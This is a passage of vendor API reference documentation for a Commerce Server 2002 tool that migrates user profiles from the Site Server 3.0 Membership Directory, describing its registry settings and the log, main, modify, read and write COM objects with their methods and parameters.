MaxNumThreads | The maximum number of threads that run against the migration tool. The default value is four (4). The data type is DWORD.
AttributeFactors The number of entries in the mapping section for each attribute in an XML file. The type is DWORD. The default value is four (4), counting the following four lines:
<FromMembership>givenName</FromMembership>
<ToUPS>GeneralInfo.first_name</ToUPS>
<WProfileType>UserObject</WProfileType>
<WTypes>VT_BSTR</WTypes>

Each attribute in the mapping section contains these four lines, with different values.
ADsSearchPageSize | Size of search page. The type is DWORD. See the Active Directory Service Interfaces (ADSI) documentation for more information.
MaxNumLinesEachFile | The maximum number of lines in each log file. When this number is reached, a new log file is created in the same location with the file name extended with sequential numbers. The data type is DWORD.
NumberOfLinesToFlush | Use this parameter to flush the memory when the log file contains the indicated number of lines. The data type is DWORD.
MaxAttributesFetched The number of attributes having values you request from the Membership Directory. A number that is too high may result in a timeout; a number that is too low will adversely affect performance. Do not set this value first.

Set this value to 50 if you receive a timeout error in the MigrationReadObj object. The data type is DWORD.
InitialWaitPeriod | The time in milliseconds that the process sleeps for the first time. The default value is zero (0). It is recommended you set this to less than five (5). The data type is DWORD.
BackOffTimes | The number of times to retry in case of failure. The default value is zero (0). It is recommended you set this to less than four (4). The data type is DWORD.
LogLevel Log level values are:

0 = Logs error only

1 = Logs error and success

2 = Logs error and performance

3 = Logs error and success and performance

The data type is DWORD.

The IMigrationLogObj interface depends on the following structure:

typedef struct _LOGINFO
{
    long  lProfile_id
    BSTR  bstrDN;
    BSTR  bstrObject;
    Long  lErrorCode;
    BSTR  bstrReason;
} LOGINFO;

See Also

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationLogObj Methods [C++]

MigrationLogObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.


IMigrationLogObj::Initialize Method [C++]

MigrationLogObj.Initialize Method [Visual Basic]

Use this method to initialize the MigrationLogObj object.

Definition

[C++]
HRESULT IMigrationLogObj::Initialize(
  int nLogSuccess
);
[Visual Basic]
Sub Initialize(
  nLogSuccess As int
)

Parameters

nLogSuccess [C++]
[in] An int that indicates which migrations will be written to the log file. A value of 1 (one) means that successful migrations will be written to the log file as well as unsuccessful migrations. A value of 0 (zero) means that only unsuccessful migrations will be written.
nLogSuccess [Visual Basic]
An int that indicates which migrations will be written to the log file. A value of 1 (one) means that successful migrations will be written to the log file as well as unsuccessful migrations. A value of 0 (zero) means that only unsuccessful migrations will be written.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method before calling the RecordInfo or LogSuccess methods.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this method are listed in MigrationLogObj Object.

[Visual Basic] Requirements for using this method are listed in MigrationLogObj Object.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


IMigrationLogObj::LogSuccess Method [C++]

MigrationLogObj.LogSuccess Method [Visual Basic]

Use this method when a successful migration occurs and the LogLevel registry key is 1 or 3. The success code is written to a file with a name constructed by concatenating the value of the LogFilePath registry key, the string "_success", and a number that is incremented as the file exceeds the "MaxNumLinesEachFile" registry key. An example file name is: C:\MigrationLogObj_success1.

Definition

[C++]
HRESULT IMigrationLogObj::LogSuccess(
  BSTR bstrKeyName,
  long lprofile_id
);
[Visual Basic]
Sub LogSuccess(
  bstrKeyName As String,
  lprofile_id As Long
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lprofile_id [C++]
[in] A long that contains the ID of the profile XML file that is used when migrating the object.
lprofile_id [Visual Basic]
A long that contains the ID of the profile XML file that is used when migrating the object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


IMigrationLogObj::RecordInfo Method [C++]

MigrationLogObj.RecordInfo Method [Visual Basic]

Use this method to record information to the log file.

Definition

[C++]
HRESULT IMigrationLogObj::RecordInfo(
  LOGINFO lgInfo
);
[Visual Basic]
Sub RecordInfo(
  lgInfo As LOGINFO
)

Parameters

lgInfo [C++]
[in] A LOGINFO object that contains the log information to record.
lgInfo [Visual Basic]
A LOGINFO object that contains the log information to record.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


MigrationMainObj Object [C++]

MigrationMainObj Object [Visual Basic]

Use this object to coordinate the migration from the Site Server 3.0 Membership Directory to the Commerce Server Profile data store. The MigrationMainObj object uses the following four COM objects to implement this task:

  • MigrationLogObj
  • MigrationModifyObj
  • MigrationReadObj
  • MigrationWriteObj
ProgID: | MigrationProfile (Externally creatable)
COM Class Name: | MigrationProfile
Type Library Name: | MigrationMainObj 1.0 Type Library
DLL Name:
[C++]
COM Interface Name: | IMigrationProfile
Interface ID Constant: | None
Header File: | MigrationProfile.h
[C++]

In C++, use the IMigrationProfile interface to access the properties and methods of the MigrationMainObj object.

Methods

[C++]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.
[Visual Basic]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.

Remarks

The following structure should be added to the .idl file included in the Migration folder to facilitate passing the profile information to each object:

typedef struct _PROFILE
    long lprofile_id;
    ' bstrConfigStore in Commerce Server
    BSTR bstrConnection;
    ' used in profile service initialization
    BSTR bstrCatalog;
    ' migrate user's membership
    BSTR bstrMemberOf;
    SAFEARRAY(BSTR) Attributes;
    ' number of attribute types
    SAFEARRAY(USHORT) nAttributeTypes;
    ' only for write use
    SAFEARRAY(BSTR) ProfileTypes;
    ' Membership User name
    BSTR bstrMOUserName;
    BSTR bstrMDPassword;
    BSTR bstrCSUserName
    BSTR bstrCSPassword;
    ' True for ADSite, otherwise False
    BSTR bstrADSite;
    ' OU that holds all groups
    BSTR bstrGroupOU;
    ' total number of modifiers in this profile
    long lNumModifies;
    ' modify info
    SAFEARRAY(USHORT) rgModIndex;
} PROFILE;

See Also

[C++] MigrationLogObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationMainObj Methods [C++]

MigrationMainObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.
[Visual Basic]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.


IMigrationMainObj::Initialize Method [C++]

MigrationMainObj.Initialize Method [Visual Basic]

Use this method to set up all the components for the migration process.

[C++]
HRESULT IMigrationMainObj::Initialize(
  BSTR sProfileDirectory
);
[Visual Basic]
Sub Initialize(
  sProfileDirectory As String
)

Parameters

sProfileDirectory [C++]
[in] A BSTR that contains the path of the profile directory. This parameter, indicating where all profile files reside, is parsed for each of the following values:
  • An array containing the attribute names for each profile ID. These arrays will be stored in a structure that will be passed to the MigrationReadObj, MigrationModifyObj, and MigrationWriteObj objects.
  • The connection string to the membership directory or SQL Server that will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of connection strings.
  • The profile ID for each profile so that the correct attribute array can be identified. The profile IDs will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of profile IDs. The profile ID is passed to the MigrationModifyObj object as a single ID.
  • The ProgID for each COM object so that it can be initialized with the above data. The ProgIDs will be stored in an array so that the correct objects can be called based on the profile ID.
sProfileDirectory [Visual Basic]
A String that contains the path of the profile directory. This parameter, indicating where all profile files reside, is parsed for each of the following values:
  • An array containing the attribute names for each profile ID. These arrays will be stored in a structure that will be passed to the MigrationReadObj, MigrationModifyObj, and MigrationWriteObj objects.
  • The connection string to the membership directory or SQL Server that will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of connection strings.
  • The profile ID for each profile so that the correct attribute array can be identified. The profile IDs will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of profile IDs. The profile ID is passed to the MigrationModifyObj object as a single ID.
  • The ProgID for each COM object so that it can be initialized with the above data. The ProgIDs will be stored in an array so that the correct objects can be called based on the profile ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


IMigrationMainObj::MigrateObject Method [C++]

MigrationMainObj.MigrateObject Method [Visual Basic]

Use this method to migrate an ADSPath key to the Commerce Server 2002 Enterprise Editon (EE) Profile data store. This method is called from the Active Server Pages (ASP) page or from Microsoft Visual Basic Scripting Edition (VBscript).

Definition

[C++]
HRESULT IMigrationMainObj::MigrateObject(
  BSTR bstrKeyName,
  long lProfile_id
);
[Visual Basic]
Sub MigrateObject(
  bstrKeyName As String,
  lProfile_id As Long
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the ADSPath key.
bstrKeyName [Visual Basic]
A String that contains the ADSPath key.
lProfile_id [C++]
[in] A long that contains the profile ID to be used for the ADSPath key.
lProfile_id [Visual Basic]
A Long that contains the profile ID to be used for the ADSPath key.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object finds the appropriate attribute array for the input profile ID to be filled in by the MigrationReadObj object. This array, along with the key (ADSPath) and profile ID is then passed to the MigrationReadObj, MigrationModifyObj, or MigrationWriteObj objects to be processed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


IMigrationMainObj::ShutDown Method [C++]

MigrationMainObj.ShutDown Method [Visual Basic]

Use this method to shut down the server. It is called from the MigrationReadObj or MigrationWriteObj object. It also deallocates the data structures that were created upon initialization.

Definition

[C++]
HRESULT IMigrationMainObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


MigrationModifyObj Object [C++]

MigrationModifyObj Object [Visual Basic]

Use this object to change the data that has been read from the Membership Directory before it is migrated to the Commerce Server Profile data store.

ProgID: | MigrationModify (Externally creatable)
COM Class Name: | GlobalConfig
Type Library Name: | MigrationModifyObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationModify
Interface ID Constant: | None
Header File: | MigrationModify.h
[C++]

In C++, use the IMigrationModify interface to access the properties and methods of the MigrationModify object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationModify Methods [C++]

MigrationModify Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.


IMigrationModify::Initialize Method [C++]

MigrationModify.Initialize Method [Visual Basic]

Use this method to initialize the MigrationModifyObj object.

Definition

[C++]
HRESULT IMigrationModify::Initialize(
);
[Visual Basic]
Sub Initialize()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method before calling the ModifyAttributes method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationModify Object

[Visual Basic] MigrationModify Object


IMigrationModify::ModifyAttributes Method [C++]

MigrationModify.ModifyAttributes Method [Visual Basic]

Use this method to input the key, profile ID, and array of values to be modified.

Definition

[C++]
HRESULT IMigrationModify::ModifyAttributes(
  long lProfile_id,
  BSTR bstrAttribute,
  USHORT targetType,
  USHORT sourceType,
  VARIANT* varTarg
);
[Visual Basic]
Sub ModifyAttributes(
  lProfile_id As Long,
  bstrAttribute As String,
  targetType As USHORT,
  sourceType As USHORT,
  varTarg As Variant
)

Parameters

lProfile_id [C++]
[in] A long that contains the ID of the profile XML file that is being used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is being used.
bstrAttribute [C++]
[in] A BSTR that contains the name of the attribute that will be modified.
bstrAttribute [Visual Basic]
A String that contains the name of the attribute that will be modified.
targetType [C++]
[in] A USHORT that contains the data type that the attribute should be changed to.
targetType [Visual Basic]
A USHORT that contains the data type that the attribute should be changed to.
sourceType [C++]
[in] A USHORT that contains the data type of the attribute passed in.
sourceType [Visual Basic]
A USHORT that contains the data type of the attribute passed in.
varTarg [C++]
[in, out] A pointer to the VARIANT that contains the value of the attribute that will be changed. The value passed in is also used to return the altered value.
varTarg [Visual Basic]
A Variant that contains the value of the attribute that will be changed. The passed in value passed in is also used to return the altered value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationModify Object

[Visual Basic] MigrationModify Object


MigrationReadObj Object [C++]

MigrationReadObj Object [Visual Basic]

Use the MigrationReadObj object to read values for each attribute in the Membership Directory, and then send them to the MigrationProfile object. The MigrationReadObj object first reads the type of each attribute and then fills in the data.

ProgID: | MigrationRead (Externally creatable)
COM Class Name: | MigrationRead
Type Library Name: | MigrationReadObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationRead
Interface ID Constant: | None
Header File: | MigrationRead.h

Methods

[C++]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.
[Visual Basic]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationWriteObj Object


IMigrationReadObj Methods [C++]

MigrationReadObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.
[Visual Basic]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.


IMigrationReadObj::Initialize Method [C++]

MigrationReadObj.Initialize Method [Visual Basic]

Use this method to determine which attributes to read for a particular key based on the profile ID.

Definition

[C++]
HRESULT IMigrationRead::Initialize(
  long lNumProfiles,
  PROFILE Profile[],
  BSTR bstrModifyProgID
);
[Visual Basic]
Sub Initialize(
  lNumProfiles As Long,
  Profile[] As PROFILE,
  bstrModifyProgID As String
)

Parameters

lNumProfiles [C++]
[in] A long that contains the number of profile XML files that will be used for the migration.
lNumProfiles [Visual Basic]
A Long that contains the number of profile XML files that will be used for the migration.
Profile[] [C++]
[in, size_is (numProfiles)] An array of PROFILE structures holding all the information from the XML profile files.
Profile[] [Visual Basic]
An array of PROFILE structures holding all the information from the XML profile files.
bstrModifyProgID [C++]
[in] A BSTR that contains the modified ProgID.
bstrModifyProgID [Visual Basic]
A String that contains the modified ProgID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method takes as input an array of structures containing all the attributes for each profile ID and the connection to use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::MigrationFailed Method [C++]

MigrationReadObj.MigrationFailed Method [Visual Basic]

Use this method to set the attribute cn=Migration to FALSE when the migration of the MigrationReadObj object fails. This attribute is of type binary and should not exist in the current schema.

Definition

[C++]
HRESULT IMigrationReadObj::MigrationFailed(
  BSTR bstrKeyName
);
[Visual Basic]
Sub MigrationFailed(
  bstrKeyName As String
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::ReadAttributes Method [C++]

MigrationReadObj.ReadAttributes Method [Visual Basic]

Use this method to determine what attributes are associated with the key, and then read these attributes from the data source into the array.

Definition

[C++]
HRESULT IMigrationReadObj::ReadAttributes(
  BSTR bstrKeyName,
  long lProfile_id,
  SAFEARRAY(VARIANT)* AttributeStructure,
  VARIANT* varValueIndex,
  VARIANT* vMemberOfs
);
[Visual Basic]
Sub ReadAttributes(
  bstrKeyName As String,
  lProfile_id As Long,
  AttributeStructure As SAFEARRAY(VARIANT),
  varValueIndex As Variant,
  vMemberOfs As Variant
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lProfile_id [C++]
[in] A long that contains the ID of the profile XML file that is been used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is been used.
AttributeStructure [C++]
[out] A reference to a SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
AttributeStructure [Visual Basic]
A SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
varValueIndex [C++]
[in] A pointer to a VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
varValueIndex [Visual Basic]
A VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
vMemberOfs [C++]
[out] A pointer to a VARIANT array containing all the groups to which this object is a member.
vMemberOfs [Visual Basic]
A Variant array containing all the groups to which this object is a member.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is called for each migration that takes place.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::ShutDown Method [C++]

MigrationReadObj.ShutDown Method [Visual Basic]

Use this method to free the created connection pools.

Definition

[C++]
HRESULT IMigrationReadObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object calls this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


MigrationWriteObj Object [C++]

MigrationWriteObj Object [Visual Basic]

Use this object to write the values for each attribute to the Commerce Server 2002 Profile data store.

ProgID: | MigrationWrite (Externally creatable)
COM Class Name: | MigrationWrite
Type Library Name: | MigrationWriteObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationWrite
Interface ID Constant: | None
Header File: | MigrationWrite.h
[C++]

In C++, use the IMigrationWriteObj interface to access the properties and methods of the MigrationWriteObj object.

Methods

[C++]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.
[Visual Basic]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object


IMigrationWriteObj Methods [C++]

MigrationWriteObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.
[Visual Basic]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.


IMigrationWriteObj::Initialize Method [C++]

MigrationWriteObj.Initialize Method [Visual Basic]

Use this method to determine what attributes to write for a particular key based on the profile ID.

Definition

[C++]
HRESULT IMigrationWrite::Initialize(
  long numProfiles,
  PROFILE Profiles[],
  IUnknown* pIMigrationLog
);
[Visual Basic]
Sub Initialize(
  numProfiles As Long,
  Profiles[] As PROFILE,
  pIMigrationLog As IUnknown
)

Parameters

numProfiles [C++]
[in] A long that contains the number of profile XML files that will be used for the migration.
numProfiles [Visual Basic]
A Long that contains the number of profile XML files that will be used for the migration.
Profiles[] [C++]
[in, size_is (numProfiles)] An array of PROFILE structures holding all the information from the XML profile files.
